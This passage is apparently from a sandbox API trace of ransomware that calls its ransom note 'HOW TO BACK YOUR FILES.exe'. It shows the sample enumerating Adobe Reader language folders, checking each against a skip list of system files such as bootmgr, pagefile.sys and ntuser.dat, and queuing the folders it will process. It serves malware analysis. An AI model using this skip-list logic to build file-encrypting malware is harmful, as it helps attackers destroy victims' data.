	[0059.976] lstrcmpiW (lpString1="FRA", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0059.977] lstrcmpiW (lpString1="FRA", lpString2="Apollon865.txt.exe") returned 1
	[0059.977] lstrcmpiW (lpString1="FRA", lpString2=".") returned 1
	[0059.977] lstrcmpiW (lpString1="FRA", lpString2="..") returned 1
	[0059.977] lstrcmpiW (lpString1="FRA", lpString2="windows") returned -1
	[0059.977] lstrcmpiW (lpString1="FRA", lpString2="bootmgr") returned 1
	[0059.977] lstrcmpiW (lpString1="FRA", lpString2="temp") returned -1
	[0059.977] lstrcmpiW (lpString1="FRA", lpString2="pagefile.sys") returned -1
	[0059.977] lstrcmpiW (lpString1="FRA", lpString2="boot") returned 1
	[0059.977] lstrcmpiW (lpString1="FRA", lpString2="ids.txt") returned -1
	[0059.977] lstrcmpiW (lpString1="FRA", lpString2="ntuser.dat") returned -1
	[0059.977] lstrcmpiW (lpString1="FRA", lpString2="perflogs") returned -1
	[0059.977] lstrcmpiW (lpString1="FRA", lpString2="MSBuild") returned -1
	[0059.977] lstrlenW (lpString="FRA") returned 3
	[0059.977] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ") returned 57
	[0059.977] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="FRA" | out: lpString1="FRA") returned="FRA"
	[0059.977] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0059.977] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x591c40
	[0059.977] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0059.977] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd21970, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3bd21970, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0059.977] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0059.977] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ce9900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HRV", cAlternateFileName="")) returned 1
	[0059.977] lstrcmpiW (lpString1="HRV", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.977] lstrcmpiW (lpString1="HRV", lpString2="Apollon865.txt.exe") returned 1
	[0059.977] lstrcmpiW (lpString1="HRV", lpString2=".") returned 1
	[0059.977] lstrcmpiW (lpString1="HRV", lpString2="..") returned 1
	[0059.977] lstrcmpiW (lpString1="HRV", lpString2="windows") returned -1
	[0059.977] lstrcmpiW (lpString1="HRV", lpString2="bootmgr") returned 1
	[0059.977] lstrcmpiW (lpString1="HRV", lpString2="temp") returned -1
	[0059.977] lstrcmpiW (lpString1="HRV", lpString2="pagefile.sys") returned -1
	[0059.977] lstrcmpiW (lpString1="HRV", lpString2="boot") returned 1
	[0059.977] lstrcmpiW (lpString1="HRV", lpString2="ids.txt") returned -1
	[0059.977] lstrcmpiW (lpString1="HRV", lpString2="ntuser.dat") returned -1
	[0059.977] lstrcmpiW (lpString1="HRV", lpString2="perflogs") returned -1
	[0059.978] lstrcmpiW (lpString1="HRV", lpString2="MSBuild") returned -1
	[0059.978] lstrlenW (lpString="HRV") returned 3
	[0059.978] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA") returned 57
	[0059.978] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="HRV" | out: lpString1="HRV") returned="HRV"
	[0059.978] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0059.978] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x591cc0
	[0059.978] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0059.978] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81cc37a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HUN", cAlternateFileName="")) returned 1
	[0059.978] lstrcmpiW (lpString1="HUN", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.978] lstrcmpiW (lpString1="HUN", lpString2="Apollon865.txt.exe") returned 1
	[0059.978] lstrcmpiW (lpString1="HUN", lpString2=".") returned 1
	[0059.978] lstrcmpiW (lpString1="HUN", lpString2="..") returned 1
	[0059.978] lstrcmpiW (lpString1="HUN", lpString2="windows") returned -1
	[0059.978] lstrcmpiW (lpString1="HUN", lpString2="bootmgr") returned 1
	[0059.978] lstrcmpiW (lpString1="HUN", lpString2="temp") returned -1
	[0059.978] lstrcmpiW (lpString1="HUN", lpString2="pagefile.sys") returned -1
	[0059.978] lstrcmpiW (lpString1="HUN", lpString2="boot") returned 1
	[0059.978] lstrcmpiW (lpString1="HUN", lpString2="ids.txt") returned -1
	[0059.978] lstrcmpiW (lpString1="HUN", lpString2="ntuser.dat") returned -1
	[0059.978] lstrcmpiW (lpString1="HUN", lpString2="perflogs") returned -1
	[0059.978] lstrcmpiW (lpString1="HUN", lpString2="MSBuild") returned -1
	[0059.978] lstrlenW (lpString="HUN") returned 3
	[0059.978] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV") returned 57
	[0059.978] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="HUN" | out: lpString1="HUN") returned="HUN"
	[0059.978] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0059.978] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x591d40
	[0059.978] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0059.978] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ITA", cAlternateFileName="")) returned 1
	[0059.978] lstrcmpiW (lpString1="ITA", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.978] lstrcmpiW (lpString1="ITA", lpString2="Apollon865.txt.exe") returned 1
	[0059.978] lstrcmpiW (lpString1="ITA", lpString2=".") returned 1
	[0059.978] lstrcmpiW (lpString1="ITA", lpString2="..") returned 1
	[0059.978] lstrcmpiW (lpString1="ITA", lpString2="windows") returned -1
	[0059.978] lstrcmpiW (lpString1="ITA", lpString2="bootmgr") returned 1
	[0059.979] lstrcmpiW (lpString1="ITA", lpString2="temp") returned -1
	[0059.979] lstrcmpiW (lpString1="ITA", lpString2="pagefile.sys") returned -1
	[0059.979] lstrcmpiW (lpString1="ITA", lpString2="boot") returned 1
	[0059.979] lstrcmpiW (lpString1="ITA", lpString2="ids.txt") returned 1
	[0059.979] lstrcmpiW (lpString1="ITA", lpString2="ntuser.dat") returned -1
	[0059.979] lstrcmpiW (lpString1="ITA", lpString2="perflogs") returned -1
	[0059.979] lstrcmpiW (lpString1="ITA", lpString2="MSBuild") returned -1
	[0059.979] lstrlenW (lpString="ITA") returned 3
	[0059.979] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN") returned 57
	[0059.979] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="ITA" | out: lpString1="ITA") returned="ITA"
	[0059.979] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0059.979] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x591dc0
	[0059.979] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0059.979] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JPN", cAlternateFileName="")) returned 1
	[0059.979] lstrcmpiW (lpString1="JPN", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.979] lstrcmpiW (lpString1="JPN", lpString2="Apollon865.txt.exe") returned 1
	[0059.979] lstrcmpiW (lpString1="JPN", lpString2=".") returned 1
	[0059.979] lstrcmpiW (lpString1="JPN", lpString2="..") returned 1
	[0059.979] lstrcmpiW (lpString1="JPN", lpString2="windows") returned -1
	[0059.979] lstrcmpiW (lpString1="JPN", lpString2="bootmgr") returned 1
	[0059.979] lstrcmpiW (lpString1="JPN", lpString2="temp") returned -1
	[0059.979] lstrcmpiW (lpString1="JPN", lpString2="pagefile.sys") returned -1
	[0059.979] lstrcmpiW (lpString1="JPN", lpString2="boot") returned 1
	[0059.979] lstrcmpiW (lpString1="JPN", lpString2="ids.txt") returned 1
	[0059.979] lstrcmpiW (lpString1="JPN", lpString2="ntuser.dat") returned -1
	[0059.979] lstrcmpiW (lpString1="JPN", lpString2="perflogs") returned -1
	[0059.979] lstrcmpiW (lpString1="JPN", lpString2="MSBuild") returned -1
	[0059.979] lstrlenW (lpString="JPN") returned 3
	[0059.979] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA") returned 57
	[0059.979] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="JPN" | out: lpString1="JPN") returned="JPN"
	[0059.979] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0059.979] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x591e40
	[0059.979] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c50
	[0059.979] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KOR", cAlternateFileName="")) returned 1
	[0059.980] lstrcmpiW (lpString1="KOR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.980] lstrcmpiW (lpString1="KOR", lpString2="Apollon865.txt.exe") returned 1
	[0059.980] lstrcmpiW (lpString1="KOR", lpString2=".") returned 1
	[0059.980] lstrcmpiW (lpString1="KOR", lpString2="..") returned 1
	[0059.980] lstrcmpiW (lpString1="KOR", lpString2="windows") returned -1
	[0059.980] lstrcmpiW (lpString1="KOR", lpString2="bootmgr") returned 1
	[0059.980] lstrcmpiW (lpString1="KOR", lpString2="temp") returned -1
	[0059.980] lstrcmpiW (lpString1="KOR", lpString2="pagefile.sys") returned -1
	[0059.980] lstrcmpiW (lpString1="KOR", lpString2="boot") returned 1
	[0059.980] lstrcmpiW (lpString1="KOR", lpString2="ids.txt") returned 1
	[0059.980] lstrcmpiW (lpString1="KOR", lpString2="ntuser.dat") returned -1
	[0059.980] lstrcmpiW (lpString1="KOR", lpString2="perflogs") returned -1
	[0059.980] lstrcmpiW (lpString1="KOR", lpString2="MSBuild") returned -1
	[0059.980] lstrlenW (lpString="KOR") returned 3
	[0059.980] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN") returned 57
	[0059.980] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="KOR" | out: lpString1="KOR") returned="KOR"
	[0059.980] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0059.980] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x591ec0
	[0059.980] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7cb0
	[0059.980] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NLD", cAlternateFileName="")) returned 1
	[0059.980] lstrcmpiW (lpString1="NLD", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.980] lstrcmpiW (lpString1="NLD", lpString2="Apollon865.txt.exe") returned 1
	[0059.980] lstrcmpiW (lpString1="NLD", lpString2=".") returned 1
	[0059.980] lstrcmpiW (lpString1="NLD", lpString2="..") returned 1
	[0059.980] lstrcmpiW (lpString1="NLD", lpString2="windows") returned -1
	[0059.980] lstrcmpiW (lpString1="NLD", lpString2="bootmgr") returned 1
	[0059.980] lstrcmpiW (lpString1="NLD", lpString2="temp") returned -1
	[0059.980] lstrcmpiW (lpString1="NLD", lpString2="pagefile.sys") returned -1
	[0059.980] lstrcmpiW (lpString1="NLD", lpString2="boot") returned 1
	[0059.980] lstrcmpiW (lpString1="NLD", lpString2="ids.txt") returned 1
	[0059.980] lstrcmpiW (lpString1="NLD", lpString2="ntuser.dat") returned -1
	[0059.980] lstrcmpiW (lpString1="NLD", lpString2="perflogs") returned -1
	[0059.980] lstrcmpiW (lpString1="NLD", lpString2="MSBuild") returned 1
	[0059.980] lstrlenW (lpString="NLD") returned 3
	[0059.981] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR") returned 57
	[0059.981] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="NLD" | out: lpString1="NLD") returned="NLD"
	[0059.981] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0059.981] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x591f40
	[0059.981] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0059.981] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NOR", cAlternateFileName="")) returned 1
	[0059.981] lstrcmpiW (lpString1="NOR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.981] lstrcmpiW (lpString1="NOR", lpString2="Apollon865.txt.exe") returned 1
	[0059.981] lstrcmpiW (lpString1="NOR", lpString2=".") returned 1
	[0059.981] lstrcmpiW (lpString1="NOR", lpString2="..") returned 1
	[0059.981] lstrcmpiW (lpString1="NOR", lpString2="windows") returned -1
	[0059.981] lstrcmpiW (lpString1="NOR", lpString2="bootmgr") returned 1
	[0059.981] lstrcmpiW (lpString1="NOR", lpString2="temp") returned -1
	[0059.981] lstrcmpiW (lpString1="NOR", lpString2="pagefile.sys") returned -1
	[0059.981] lstrcmpiW (lpString1="NOR", lpString2="boot") returned 1
	[0059.981] lstrcmpiW (lpString1="NOR", lpString2="ids.txt") returned 1
	[0059.981] lstrcmpiW (lpString1="NOR", lpString2="ntuser.dat") returned -1
	[0059.981] lstrcmpiW (lpString1="NOR", lpString2="perflogs") returned -1
	[0059.981] lstrcmpiW (lpString1="NOR", lpString2="MSBuild") returned 1
	[0059.981] lstrlenW (lpString="NOR") returned 3
	[0059.981] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD") returned 57
	[0059.981] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="NOR" | out: lpString1="NOR") returned="NOR"
	[0059.981] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0059.981] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x591fc0
	[0059.981] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7c90
	[0059.981] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="POL", cAlternateFileName="")) returned 1
	[0059.981] lstrcmpiW (lpString1="POL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.981] lstrcmpiW (lpString1="POL", lpString2="Apollon865.txt.exe") returned 1
	[0059.981] lstrcmpiW (lpString1="POL", lpString2=".") returned 1
	[0059.981] lstrcmpiW (lpString1="POL", lpString2="..") returned 1
	[0059.981] lstrcmpiW (lpString1="POL", lpString2="windows") returned -1
	[0059.981] lstrcmpiW (lpString1="POL", lpString2="bootmgr") returned 1
	[0059.981] lstrcmpiW (lpString1="POL", lpString2="temp") returned -1
	[0059.981] lstrcmpiW (lpString1="POL", lpString2="pagefile.sys") returned 1
	[0059.982] lstrcmpiW (lpString1="POL", lpString2="boot") returned 1
	[0059.982] lstrcmpiW (lpString1="POL", lpString2="ids.txt") returned 1
	[0059.982] lstrcmpiW (lpString1="POL", lpString2="ntuser.dat") returned 1
	[0059.982] lstrcmpiW (lpString1="POL", lpString2="perflogs") returned 1
	[0059.982] lstrcmpiW (lpString1="POL", lpString2="MSBuild") returned 1
	[0059.982] lstrlenW (lpString="POL") returned 3
	[0059.982] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR") returned 57
	[0059.982] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="POL" | out: lpString1="POL") returned="POL"
	[0059.982] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0059.982] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x592040
	[0059.982] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x5b7c10
	[0059.982] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PTB", cAlternateFileName="")) returned 1
	[0059.982] lstrcmpiW (lpString1="PTB", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.982] lstrcmpiW (lpString1="PTB", lpString2="Apollon865.txt.exe") returned 1
	[0059.982] lstrcmpiW (lpString1="PTB", lpString2=".") returned 1
	[0059.982] lstrcmpiW (lpString1="PTB", lpString2="..") returned 1
	[0059.982] lstrcmpiW (lpString1="PTB", lpString2="windows") returned -1
	[0059.982] lstrcmpiW (lpString1="PTB", lpString2="bootmgr") returned 1
	[0059.982] lstrcmpiW (lpString1="PTB", lpString2="temp") returned -1
	[0059.982] lstrcmpiW (lpString1="PTB", lpString2="pagefile.sys") returned 1
	[0059.982] lstrcmpiW (lpString1="PTB", lpString2="boot") returned 1
	[0059.982] lstrcmpiW (lpString1="PTB", lpString2="ids.txt") returned 1
	[0059.982] lstrcmpiW (lpString1="PTB", lpString2="ntuser.dat") returned 1
	[0059.982] lstrcmpiW (lpString1="PTB", lpString2="perflogs") returned 1
	[0059.982] lstrcmpiW (lpString1="PTB", lpString2="MSBuild") returned 1
	[0059.982] lstrlenW (lpString="PTB") returned 3
	[0059.982] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL") returned 57
	[0059.982] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="PTB" | out: lpString1="PTB") returned="PTB"
	[0059.982] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0059.982] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x5920c0
	[0059.982] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0059.985] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RUM", cAlternateFileName="")) returned 1
	[0059.985] lstrcmpiW (lpString1="RUM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.986] lstrcmpiW (lpString1="RUM", lpString2="Apollon865.txt.exe") returned 1
	[0059.986] lstrcmpiW (lpString1="RUM", lpString2=".") returned 1
	[0059.986] lstrcmpiW (lpString1="RUM", lpString2="..") returned 1
	[0059.986] lstrcmpiW (lpString1="RUM", lpString2="windows") returned -1
	[0059.986] lstrcmpiW (lpString1="RUM", lpString2="bootmgr") returned 1
	[0059.986] lstrcmpiW (lpString1="RUM", lpString2="temp") returned -1
	[0059.986] lstrcmpiW (lpString1="RUM", lpString2="pagefile.sys") returned 1
	[0059.986] lstrcmpiW (lpString1="RUM", lpString2="boot") returned 1
	[0059.986] lstrcmpiW (lpString1="RUM", lpString2="ids.txt") returned 1
	[0059.986] lstrcmpiW (lpString1="RUM", lpString2="ntuser.dat") returned 1
	[0059.986] lstrcmpiW (lpString1="RUM", lpString2="perflogs") returned 1
	[0059.986] lstrcmpiW (lpString1="RUM", lpString2="MSBuild") returned 1
	[0059.986] lstrlenW (lpString="RUM") returned 3
	[0059.986] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB") returned 57
	[0059.986] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="RUM" | out: lpString1="RUM") returned="RUM"
	[0059.986] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0059.986] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x592140
	[0059.986] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0059.986] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RUS", cAlternateFileName="")) returned 1
	[0059.986] lstrcmpiW (lpString1="RUS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.986] lstrcmpiW (lpString1="RUS", lpString2="Apollon865.txt.exe") returned 1
	[0059.986] lstrcmpiW (lpString1="RUS", lpString2=".") returned 1
	[0059.986] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="RUS" | out: lpString1="RUS") returned="RUS"
	[0059.986] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0059.986] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x5921c0
	[0059.986] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd70 | out: ListHead=0x5b76b0, ListEntry=0x59fd70) returned 0x59fc70
	[0059.986] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1
	[0059.986] lstrcmpiW (lpString1="SKY", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.986] lstrcmpiW (lpString1="SKY", lpString2="Apollon865.txt.exe") returned 1
	[0059.986] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="SKY" | out: lpString1="SKY") returned="SKY"
	[0059.987] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0059.987] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x592240
	[0059.987] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x59fd70
